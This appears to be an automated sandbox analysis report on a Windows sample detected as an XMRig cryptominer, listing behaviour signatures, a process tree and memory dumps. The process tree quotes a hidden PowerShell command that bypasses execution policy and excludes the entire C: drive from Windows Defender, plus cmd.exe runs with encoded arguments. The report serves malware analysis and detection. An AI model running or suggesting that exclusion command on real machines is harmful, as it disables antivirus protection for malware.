Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
17/09/2026, 11:58
General
- Target 2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe
- Size 6.3MB
- Sample260917-n449eaep2w
- SHA256 6f0bb2b26e591fb98b28c3cceb4f1966310f325f3bac93f61eed55578bc8da66
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- XMRig Miner payload 15 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Downloads MZ/PE file
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force; Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" --encargs 6c490906002010084402241208054e724440064e39091f19012e08430c1b7b51585c5b6149184956752c282125783d2703080c33051a2c2b252a3839070d0e08220d1e1c02072f17090d360a20345828325254233b0d525c3d372e5d2a5a3c2451273139135104250d760215230b36153f0f5b74203d3b1c2f210c3f2c76323e3823221658004e6c144d114e6c490e191b6c090c1143350c1f0c0f25174001072f1050505e61490c491c394b5d2⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" --encargs 6c490906002010084402241208054e724440064e39091f19012e08430c1b7b51585c5b6149184956752c282125783d2703080c33051a2c2b252a3839070d0e08220d1e1c02072f17090d360a20345828325254233b0d525c3d372e5d2a5a3c2451273139135104250d760215230b36153f0f5b74203d3b1c2f210c3f2c76323e3823221658004e6c144d114e6c490e191b6c090c1143350c1f0c0f25174001072f1050505e61490c491c394b5d2⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exeC:\Users\Admin\AppData\Roaming\Microsoft\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force; Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_sv4byduq.gjt.ps1
2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe
memory/712-28-0x00007FF749EA0000-0x00007FF74A0E4000-memory.dmp
memory/1700-31-0x00007FF7DFBE0000-0x00007FF7DFE24000-memory.dmp
memory/1700-0-0x000001B7DE2F0000-0x000001B7DE2F1000-memory.dmp
memory/3328-27-0x000001297FB20000-0x000001297FB40000-memory.dmp
memory/3328-29-0x00007FF653290000-0x00007FF653B77000-memory.dmp
memory/3832-38-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-42-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-58-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-56-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-32-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-34-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-36-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-54-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-40-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-52-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-44-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-46-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-48-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/3832-50-0x00007FF7ED740000-0x00007FF7EE027000-memory.dmp
memory/4208-2-0x000001554DA30000-0x000001554DA40000-memory.dmp
memory/4208-8-0x000001554FAE0000-0x000001554FB02000-memory.dmp
memory/4208-1-0x000001554DA30000-0x000001554DA40000-memory.dmp
memory/4624-26-0x000001F87FA30000-0x000001F87FC4C000-memory.dmp